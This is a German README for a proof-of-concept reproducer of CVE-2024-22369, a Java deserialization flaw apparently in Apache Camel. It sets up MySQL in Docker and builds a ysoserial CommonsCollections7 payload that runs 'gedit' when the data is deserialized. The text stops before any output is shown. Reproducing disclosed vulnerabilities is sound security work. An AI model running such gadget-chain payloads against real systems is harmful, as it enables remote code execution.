
CVE-2024-22369 Reproducer
Dieser PoC basiert auf dem Reproducer, der von Ziyang Chen vom HuaWei Open Source Management Center erstellt wurde.
Der Reproducer wurde verwendet, um diesen PoC zu erstellen, mit einigen Anpassungen und Bereinigungen, und wurde auch mit etwas mehr Automatisierung angereichert.
Wir benötigen eine MySQL-Instanz
docker run --name some-mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=my-secret-pw -e MYSQL_DATABASE=db -d mysql
Jetzt müssen wir die erforderlichen Tabellen erstellen:
Sie haben zwei Dateien: employee.sql und employee_completed.sql
Führen Sie den folgenden Befehl aus:
docker run -it --rm mysql mysql -h 172.17.0.2 -uroot -p
Geben Sie Ihr Passwort ein, führen Sie USE db aus und führen Sie die beiden SQL-Dateien aus.
Zu diesem Zeitpunkt haben Sie bereits die erforderlichen Teile, um die Deserialisierung zu reproduzieren.
Führen Sie den folgenden Befehl aus
docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' some-mysql
und notieren Sie die Adresse.
Bearbeiten Sie nun die Datei src/main/resources/application.properties entsprechend dem Status Ihrer Umgebung.
Das verwendete Payload basiert auf commons-collections 3.2.1.
Sie benötigen:
https://github.com/frohoff/ysoserial
Von der Befehlszeile aus können Sie das Payload wie folgt neu erstellen:
java --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ --add-opens java.base/java.net=ALL-UNNAMED \ --add-opens=java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections7 gedit | xxd -p
Dies gibt die Hex-Version des Payloads zurück. Die Idee ist, den Befehl gedit während der Deserialisierung auszuführen.
Sie können mit verschiedenen Payloads experimentieren und die SQL-Skripte ändern, indem Sie die INSERT-Anweisung ändern und die neu generierten Payloads hinzufügen.
Um das Verhalten zu reproduzieren. Wählen Sie zunächst ein JDK 17 aus (lokal oder über SDKMan).
Führen Sie dann den folgenden Befehl aus:
mvn clean install -Dcamel.version=4.3.0 -Dspring-boot.version=3.2.0 -Djava.version=17 spring-boot:run
Dies ergibt die folgende Ausgabe: